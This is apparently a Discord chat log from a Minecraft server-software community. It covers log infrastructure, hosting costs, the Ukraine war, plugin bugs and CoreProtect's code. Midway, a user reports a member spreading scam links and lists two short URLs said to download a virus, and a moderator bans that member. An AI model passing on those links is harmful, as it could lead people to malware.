https://news.ycombinator.com/item?id=30504812

exizt88

Namecheap: Russia Service Termination

Just received this email:Dear XXXX,Unfortunately, due to the Russian regime's war crimes and human rights violations in Ukraine, we will no longer be providing services to users registered in Russia. While we sympathize that this war may not affect your own views or opinion on the matter, the fact is, your authoritarian government is committing ...

Hacker News · Feb 28, 2022, 8:38 PM

Everyone is piling on

[meager temple]

Sup @magic river 😉

[magic river]

Oh hey, howdy

[meager temple]

saw your icon when I hovered over the server icon and was like "waaittttt a minute..."

[magic river]

hehe

I'm the grumpy old man of the server, at least when simple isn't around

[meager temple]

heh

working on the old, trying to avoid the grumpy 😛

[magic river]

You still doing MC servers then?

[meager temple]

yup, mostly just paying the bills and occasionally working on the site. Life with a toddler is busy

[magic river]

heh, I bet

[meager temple]

Have a second on the way and I've recently started training to be a volunteer firefighter. Soooo super busy for the next six months or so 😛

[magic river]

Congrats

[meager temple]

Thanks! What are you up to these days?

[magic river]

Moved back to Iowa, buying a house, do full stack TypeScript stuff for a living

No kids or anything, I just spoil my nephew and nieces

[meager temple]

ah nice. I've been slowly learning typescript/vue for frontend stuff. House is a fun time though

[magic river]

I've got more experience than basically everyone above me on the org chart so I get to decide a lot of how we do things, it's pretty nice

Can't change the language though, they're sold on that 😛

[lilac moon]

change it to english

[cosmic raft]

https://tenor.com/view/not-how-it-works-confused-doesnt-work-that-way-no-not-like-this-gif-4953698

[meager temple]

he said he lives in Iowa... that's unlikely to happen

[cosmic raft]

also, o/ Deaygo

[meager temple]

heh. I moved into a security operations role a few years ago. Still do dev work, but mostly like integration stuff. But it's lots of fun still

[magic river]

Hey, we speak the kind of English you hear on US national news 😛

[meager temple]

hiya kashike!

[meager temple]

point proven

😛

[magic river]

I wish I was doing more infrastructure and devtools kinds of things but the company isn't really big enough to support having someone do that full time

Instead that's my default project whenever they don't have something else to pull me away for, haven't been back to it in about a year now...

[meager temple]

we don't have to deal with infra too much, other than updating our VMs and a couple baremetal server. There is a group that handles the actual servers. I've been doing a lot of elasticsearch stuff the last couple years.

Getting different log types parsed and processed into elastic and tools for searching it easily from CLI and such.

[magic river]

God I wish we had that or had someone working on that

[cosmic raft]

also, deaygo being here reminded me

a while back, Korobi's logging component went offline

final stats:

chats - 19,422,795 records

19 million chat-related messages logged since 2015

@true canyon ^

more complete stats:

channel_ai - 6 records
channel_ai_history - 78 records
channel_commands - 859 records
channel_topics - 9,345 records
channels - 129 records
chat_indexes - 87,203 records
chats - 19,422,795 records
kitty_images - 3 records
my_collection_keys - 18 records
networks - 7 records
reminders - 1,286 records
users - 49 records

[meager temple]

We just got three new servers for elastic a while ago. like 10 x 7.68 TB SSDs for each system 😄

[magic river]

jeez

[cosmic raft]

elasticsearch requires beefy servers

[lilac moon]

really??

[magic river]

Search is hard and takes a lot of data

[meager temple]

Well, we have like 47 TB of data right now

[lilac moon]

I need a search indexr for my blog

[meager temple]

Oh, that wouldn't be too bad

[lilac moon]

I imagine it would take a lot less than yiyrs

[meager temple]

yeah

[lilac moon]

The git repo for my blog right now is like a couple megabytes, and that's media included

[magic river]

We've actually in the middle of getting rid of all of our colo servers

[meager temple]

we have a few hundred million records

[lilac moon]

I haven't really put much of anything on my website

[cosmic raft]

yeah, to clarify, elasticsearch can require beefy servers when you're dealing with a ton of data

but it can also run on small servers fine

[meager temple]

on the other hand... I can easily go and say "show me dhcp records for this mac address for the last year" and... it's pretty damn quick to return

[magic river]

We'll probably keep one for a relatively close by backup monitoring system (we have a lot of hardware deployed across the US) but everything else is slowly going to the cloud

[lilac moon]

Wow

[magic river]

One of the first things I did was modify all our servers to generate a UUID for each incoming request that is included in every log message

[meager temple]

We've briefly looked at cost of putting elastic in the cloud... it's.... not gonna happen 😛

[magic river]

So you can at least grep for now for that but it was meant for something like greylog, splunk, or a custom elastic setup

[meager temple]

The most interesting logs we have are some cisco ones. It splits individual logs across multiple lines. So I had to write some custom stuff to recombine, then parse/process it all before putting into elastic

[cosmic raft]

gotta love multi-line log messages

not.

[meager temple]

Otherwise you'd search for a user. get the "session id" and then have to search on each of those

[magic river]

Yeah that's more or less where we are, you look through the logs for something at the right time and hitting the right URL then grab the id and look through all the messages that were logged for that request

Except it's all just text files and we don't have consistent (or any defined, afaik) retention policies

[cosmic raft]

you don't have $1m/mo to spend on elasticsearch hosting?

[meager temple]

heh, we have some defined retention, but it's mostly "at least x months for this, and y months for this"

[magic river]

Problem is when something at our colo goes bang someone has to drive from Toledo to Detroit to look at it

[meager temple]

public sector, sooooo. no 😛

[magic river]

I think everyone got sick of doing that

[meager temple]

ah, yeah. We have our own DCs at work

few more employees than your company 😛

[magic river]

ha, I bet

We have I think 25 devs

Not on my current project, the whole department. I think we have about a dozen projects going although some only need poked every month or two

[meager temple]

looks like it would cost somewhere in the lines of 30-40k / month 😛

[cosmic raft]

oof! expensive

[magic river]

Depends on how much sysadmin/devops time you could argue it would save by switching

Once you get over a certain amount of fixed load it can definitely be a lot cheaper to run it yourself though

[meager temple]

I mean, the deployment is managed by me

[magic river]

The hardware, OS, services, etc is all you?

[meager temple]

hardware we have a team for, everything under warranty for 5 years. OS and services is me and my boss for backup

[magic river]

Cloud only makes sense when you have a dynamic load or are too small to justify running/maintaining some of the stuff cloud providers offer but want/need it still

[meager temple]

We have a bunch of stuff moving to the cloud. But yeah, if you were only doing like 1-10 GB / day of logs, it would be cheaper to use cloud for elastic

a lot would depend on how much retention you want as well

[magic river]

Oh, cloud also still makes sense if you're big enough that you need things like Cloud Spanner because you aren't going to make or maintain something like that as good as Google can

Anyway

[meager temple]

definitely makes sense for a lot of cases. But you also gotta think about things a lot more with cloud. "Dedicated server for this? or just a cloud function?"

a lot more goes into figuring out the best way to host it

[magic river]

I think we got our first lambda going the other day actually

To generate S3 upload tokens

We needed more AWS to deal with our existing AWS 😛

People have full time jobs just figuring out what cloud functionality your company should be using for things

[meager temple]

yeah

anywho. Time to go to sleep for me

[magic river]

I wish, I have to do an overnight release thing tonight 😦

Good night

[meager temple]

sadness

[limber knot]

hello

[worn crest]

Good morning

[pastel reef]

Hi, so I started a SkyBlock with mu friends with the help of a datapack going by the name of "Empty World with Biomes" but when I bonemeal grass (in a plains biome) I don't get any flowers. Is there some way I can fix this?

It's kind of depressing to not be able to get flowers when you know that it's a Vanilla feature.

[vernal moth]

you love to see it

[magic river]

Wow mmap actually failed

Usually you just get killed instead

[dire harness]

idk what the heck is going on but entering the nether makes me "fall out of the world" and die, even in creative i can move around and play normally but have the health loss shaking effect until i die

actually I did!

thanks

alright

[vernal moth]

it was a kill, IJ showed that on next open

[magic river]

I had some Linux vs Windows vs WSL2 benchmarks at some point, with Windows and WSL2 having SSD vs HDD versions too

I think Windows + HDD was like 20 minutes for me so I guess you got lucky 😄

Upgrade to Windows 11, Microsoft ships their own Android emulator now 😄

Apple patented the Raspberry Pi 400...

Well, they have a patent on putting a computer inside a thicker version of the Magic Keyboard

[void void]

pov: you became too powerful and hate ignorant noobs

[native wolf]

Bukkit and Forge were never meant or designed to work together

you need to break some of both to make it work

the end result is always an unstable mess

[late shore]

@mental meadow @swift root @mossy vessel @wide chasm There is a user in this channel named @naive rain who is sending a scam link to users with a download to what is (probably) a virus.

https://ferus.xyz/E3cC6g
https://ferus.xyz/HVjcER

[vernal moth]

My company website

[worn crest]

You're Dev at a secure firm I never heard of 👀

[late shore]

i live

[vernal moth]

Gothaer is a pretty well known insurance

[quasi cave]

Alright so I decided to get a dedicated server online instead:

Ryzen 9 5950X - 16 CPUs (32 threads) @3.4GHz to @4.90GHz (if boosted)
128 GBs of DDR4 RAM (4x32 GB sticks) @2666MHz
2 TB NVME SSD + Backup 6 TB SATA HDD

Apparently, cooling & networking isn't a problem, 20 TB of bandwidth per month in traffic that is, gigabit ethernet connection...

Surely this is overkill & would suffice for 100 players?

[vernal moth]

It's a premium insurance tho, so maybe that's why you never heard of it ^^

[late shore]

You can host 100 players with 8GB of ram

Definitely don't need 128GB

[worn ember]

Ah yes some pixels on a screen will make the difference over there lol

[vernal moth]

Well it's a symbol

[worn ember]

Always love it when people do it. But it's so useless

[vernal moth]

It really isn't

[late shore]

Hm. Actually, my system is kind of very closed, and 100 players pushes 8GB. So it probably depends on your usage

[grand pewter]

it contributes towards sentiment

which is something not so useless in its own right

[vernal moth]

There were 150000+ people on the street protesting here yesterday

[late shore]

If everyone forgot about Ukraine no one with any actual power to do anything would give a fuck what Russia is doing.

[vernal moth]

Showing solidarity helps keep moral high

[late shore]

Sentiment is like one of the most important things you can do

Looks at HK

It blew up for a few months and now they've silently been taken right back over.

Business as usual for china

[golden gust]

I mean, I get weary around this stuff and point scoring, but, I mean, the intent here is to show ukraine that people stand behind them, many are donating to the cause, etc

[vernal moth]

Situation is much different tho, this is a attack war started by a bit military power

[worn ember]

I'd be so happy when I get bombed at night to know someone on Twitter prays for me lol. I mean I get it but it holds no real power unless you take to the streets and force governments to take action

[vernal moth]

Well, I heard different stuff here from actual Ukrainians living here

We influence our gov using stuff like this

[worn crest]

Flex 🥲

[late shore]

People can have whatever motivations they want. Raising awareness is raising awareness.

It's why we have pride parades and those pink banners regarding breast cancer.

[worn ember]

I saw someone halving their OF price for Ukrainians.

[golden gust]

yea

[worn ember]

True hero

[golden gust]

fuck them

"I know you're getting shot at, and am sorry, I'll do you a deal, half price off, see my melons"

[worn ember]

People love to abuse these situations for clout

[vernal moth]

Oh I don't have many insurances here, it's still too expensive after the 50% off I get

[golden gust]

and, oh! But, how is this gonna affect my vacation?!

[late shore]

You're not wrong, it's just a cynical standpoint to brand everyone with.

People are certainly going to abuse it for clout.

but what're you ganna do? ¯_(ツ)_/¯

Not have people show support?

Have you ever been sick and have people send you thoughts and prayers? People shit on it like "Oh that doesn't matter" but it certainly feels nice to get messages that people are thinking about you.

I know my doctor is doing the work, but staying motivated is important.

[worn ember]

I'm fine with them showing support. But in my opinion it doesn't do all that much

[golden gust]

theres a time for solidary and there is a time to STFU and piss off

[late shore]

They were invaded like less than 72 hours ago, weren't they? Are we already at the STFU and piss-off stage?

[golden gust]

showing solidarity here works because it helps with motivation, it helps the upper class know where people lie on stuff

[worn ember]

I'm already kind of tired hearing about it xD but hey at least it's not COVID news I guess

[late shore]

jesus lol

[golden gust]

I mean, it's naunced, on one side its nice to show solidarity with people whom are being attacked for stupid ass reasons, but, geopolitics is a nightmare

[late shore]

Not so much stupid-ass reasons as completely fabricated, but yes, I get your point.

[worn ember]

Don't wake up jroy

[native wolf]

i can sense JRoy coming with every mention of politics

[late shore]

👀

[worn ember]

I swear cat and mini always bait us into it cx

[golden gust]

am tryna avoid the actual political talk

[plucky sparrow]

cat sux

[golden gust]

am just saying it's nice to show solidarity for a cause where morale counts a lot

[worn ember]

I suppose you're right. But now I need my pancakes

[proud lance]

I am Ukranian so I have mixed feelings, solidarity is nice, but if all it is is solidarity it wont help the people win the war. Its like he said when they talked about sending a plane for him, he said send anti-tank rounds instead

[worn ember]

Your prime minister is the reason it hasn't fallen yet

He doing a good job at keeping morale high. Any other politician wouldve yeeted out of there lol

[proud lance]

Yeah hes pretty badass, I knew he was a decent guy based on how my parents talked about him when he got elected

but seeing him through the war its inspiration for how leaders should be

if he wins pretty sure Ukranians are gonna vote for him every election at this point

[worn ember]

I'm not sure there is much winning against the amount of forces moving up

It'll fall eventually. The question is how long it will take and at what cost

[golden gust]

Just need more farmers to borrow the ruskies tanks

[proud lance]

It depends, same could have been said about Vietnam

clearly a lot of Russian troops dont want to be there

[worn ember]

If you can turn the Russian troops against Putin you got a good shot

But idk how loyal they are dispite them not wanting to be there

[proud lance]

They are doing a good job of making it painful for Russians to take land in the country, which is the best you can hope for when fighting a force that outnumbers and outguns you basically

[golden gust]

many don't wanna be there, many are saying they don't wanna do this, but, many have a bullet against their head

[proud lance]

yeah it not the same as deserting the US army or something

[worn ember]

Yeah. It's die at the hands of the Ukrainians or the Russians

[proud lance]

id switch teams tbh

[worn ember]

Well if you do you lose everything

And they might even come for your family

[proud lance]

you lose everything anyway lmao

just take a pic of you on the ground with ketchup

then switch teams

[worn ember]

Pretty sure there is no ketchup anywhere near anymore xD

[proud lance]

the pic he posted yesterday? of his breakfast made me hungry

I was like damn ukranian president eating better than me during wartime

immediately tried to look for ukranian sausage and meats

[worn ember]

Haha 😂

[wide chasm]

Thanks, they're banned now

[void void]

(For future reference, you can ping @ mods to alert all mods instead)

[late shore]

Yup, learned the hard way. :D

[ashen cliff]

Thank you Discord for still crashing when this happens: https://posili.me/i/V8NSxrkP-2022-03-01_11-28-12.png

[topaz mortar]

Is it Electron or Discord who failed there. 🤔

[ashen cliff]

I'll just blame them, for loading stuff. Like, they fixed this last year and somehow it came back.

It limited itself to like 200 messages, now it's unlimited again.

And this hellhole that happens, if you are banned from a server: https://posili.me/i/akwqfDd4-2022-03-01_11-33-19.webm

I do love getting banned from servers I never even joined.

[cunning raft]

Wonder who did that

[void void]

i don't know~ xd

thanks for your interest though

(locks conversation and marked as spam)

[pale robin]

so what did kenny do when they say rebase the master

i aint no coder , so no clue why they are like oh noes

[golden gust]

he forgot to make his update over the latest paper repo

[ashen cliff]

Daily reminder to click pull at least 7 times.

[void void]

He was ~13 days (roughly 20 changes) out of date

[worn ember]

what a noob

[pale robin]

so basicly he updated an older version

[void void]

yeah

[pastel reef]

I'm not getting any trader spawns.

[dawn pond]

hey guys

which one should I get from ubuntu

[proud lance]

I prefer LTS

[dawn pond]

i plan on using it for pterodactyl

ok

thx

[proud lance]

I don't know what HWE stands for so I would go for 20.04.3 LTS, but 21.10 is probably fine as well

[ashen cliff]

Just go for LTS.

[dawn pond]

best offer ever

[golden gust]

Hwe is basically LTS + hardware support backports

Iirc at least

It's the hardware entitlement thing

[ashen cliff]

Ah nice. 0 setup fee again.

[dawn pond]

anyone knows whats the difference between a rescue system and a custom OS

[tawdry hazel]

a rescue system is specifically made for rescuing

[plucky sparrow]

wise words

[ashen cliff]

The rescue system is there, so you can install the OS on the machine in the way you want.

[golden gust]

well,rescue system is basically just a ram booted linux OS

you can use it for installing an OS if you really want, but it's primarily there for like, "oh shit" type stuff

[pastel reef]

I want a trader to spawn here, what am I doing wrong?

Too dark?

[spare venture]

idk man but tell you what I have no idea how you can play with all that shit going on on the right side of your screen

like those servers that have a scoreboard that takes up 1/3 of the screen

[golden gust]

default main world?

[spare venture]

i don’t think that’s a plugin.

[pastel reef]

Nevermind, it was just taking abnormally long, we finally got one.

[tropic flame]

those servers think everyone plays on a widescreen

meanwhile I'm there playing on Fullscreen at based 800x600

[potent panther]

rea-dding typo in #❗-1-18-2

[magic river]

https://twitter.com/IZarov/status/1498716961999507459

(((Zzzsneverrest))) (@IZarov)

@WatTylerRising I know I’m not mainstream when a debate about the DSA appears on my twitter feed.

Twitter · Mar 1, 2022, 5:49 PM

I'm in this photo and I don't like it

[void void]

hOW do I get to send cat pics in #adorable-pets 😠

You ping kashike with a picture of an adorable kitty

KASH!!

[magic river]

lol, Brandon Sanderson took his extra free time during the pandemic writing extra books in secret, 4 books and a novella

https://www.youtube.com/watch?v=gcZVAPGE-YE

[left swift]

[minor fjord]

I'm sure you've all experienced weird bugs where you cant figure out what plugin is causing it

but today I think I found the king bug that really takes the cake

https://cdn.discordapp.com/attachments/612459648557252618/948290255931441172/Minecraft__1.18.1_-_Multiplayer_3rd-party_Server_2022-03-01_11-44-10.mp4

one of my players sent me this video of a piston self destructing

I- what even lmao

[wooden dawn]

that piston was like im done working here thanks

[minor fjord]

"you can mail me my last paycheck I'm done working for you chumps" - piston

[warm anchor]

worldguard region? land claim plugin?

[minor fjord]

yeah it ended up being the land claim plugin but its still a very funny issue to run into and not know where from

[meager temple]

that's amazing

[neon bramble]

[spiral robin]

@ripe sphinx hi

[neon bramble]

hi

we're going to continue shitting at coreprotect right?

gimme a while, I am going to clone their repo

[ripe sphinx]

@neon bramble Yeah we're due for a purge, although I want to be careful since I know it can kill the disk space. iirc it duplicates the prod DB, runs the prun on the tmp clone, then moves back over. Means can easily hit the disk limit if not careful...

[neon bramble]

yeah

better do a backup first

[worn ember]

@warm anchor

[neon bramble]

gradle downloading...

[ripe sphinx]

also fun fact, that 98GB is only ~ 6mo

🙃

[neon bramble]

oh shit

I should start keeping track on mine

[ripe sphinx]

We need to run a purge every 6mo or so

[neon bramble]

how big is your server?

[ripe sphinx]

All things considered, fairly small

[neon bramble]

means?

[ripe sphinx]

Normal peak of ~7-10 concurrent, average is more 2-4

[worn ember]

you can disable water logging and stuff

[neon bramble]

like that small?

And you have 100GB DB for half a year?

I am starting to get afraid

[ripe sphinx]

I'm guessing a huge percentage of that is WorldEdit

[meager tusk]

@spiral robin What are you doing with SpottedLeaf's appliances

and pets

[spiral robin]

smirk

smirk

[meager tusk]

and kitchen

.

[spiral robin]

smirk

[meager tusk]

Aber .

[ripe sphinx]

~75% of active players have worldedit access and use it daily

(creative server)

[neon bramble]

ohh

that explains it

smh still importing coreprotect

[ripe sphinx]

Poking through message history, looks like ~20GB since DEc

[neon bramble]

Fuck

[spiral robin]

i want a plugin that tracks literally every block movement in game

grrr why is my database so massive

[neon bramble]

why are build scripts of half open source plugins not working?

[ripe sphinx]

Still, it's nothing on our backups https://f.u11.io/eTTSwW

[worn ember]

jeez lol

[ripe sphinx]

.2PB of backups (thankfully deduplicated down to just shy of 1TB)

[neon bramble]

this reminds me of Linus' petabyte project

[lilac moon]

Borg is goos

good

[worn ember]

why are you duplicating backups?

[void void]

where are you storing all of that

[neon bramble]

Why do you have a such chonky backup?

[meager tusk]

Minecraft

Block game likey blocks

[lilac moon]

backup for a survival and creative I run is currently like 10 GB

[worn ember]

I wonder how hard it would be to create a more efficient block logging system than core protect

[neon bramble]

https://tenor.com/view/ah-shit-here-we-go-again-ah-shit-cj-gta-gta-san-andreas-gif-13933485

[ripe sphinx]

I mean it's hourly backups since Nov 4, plus daily backups since Sept 8

[worn ember]

[neon bramble]

isn't that a bit overkill for a 10 player server?

[worn ember]

^^

[lilac moon]

it's borg so it takes basically no space for data that doesn't change

[ripe sphinx]

yup, but we've already had one scare with corrupted OS, and we have the space anyways so /shrug

[lilac moon]

I back up hourly too just because why not

[ripe sphinx]

Also I'm making up for the 6 years of no backups so there's that too

[neon bramble]

Oh bukkit command api

poor people

wait

all of their commands are in the same class?

[worn ember]

lol you can just register aliases

[lilac moon]

true

[neon bramble]

yanderedev moment

it continues

[worn ember]

plz i already have nightmares from legacy code, dont make it worse

[lilac moon]

What is this even for

[neon bramble]

coreprotect

their command handler

[lilac moon]

what is it even counting

[meager tusk]

if it works it works

[neon bramble]

Mojang be like ^

[meager tusk]

everyone be like, actually

yes the code is terrible but i assure you after a few years of legacy code you'll have the same thing

[spiral robin]

true

[worn ember]

If it was open source we could clean it up but oh well

[spiral robin]

it is open source

[worn ember]

since when

[meager tusk]

coreprotect is open source?

[spiral robin]

and yall still publicly bashing it and not doing anything

[neon bramble]

what cp or minecraft?

[ripe sphinx]

as of like a few months ago

[neon bramble]

yes how else do you think I would get their source

[worn ember]

didnt know that happend

[neon bramble]

[meager tusk]

i thought it was closed source

[left swift]

core edit when

[lilac moon]

beeg decimal

[ripe sphinx]

ahah found the nested classes in if statements https://github.com/PlayPro/CoreProtect/blob/master/src/main/java/net/coreprotect/listener/player/PlayerInteractListener.java

[ripe sphinx]

decompilers

[left swift]

it be open sauce

[neon bramble]

I'm going to vomit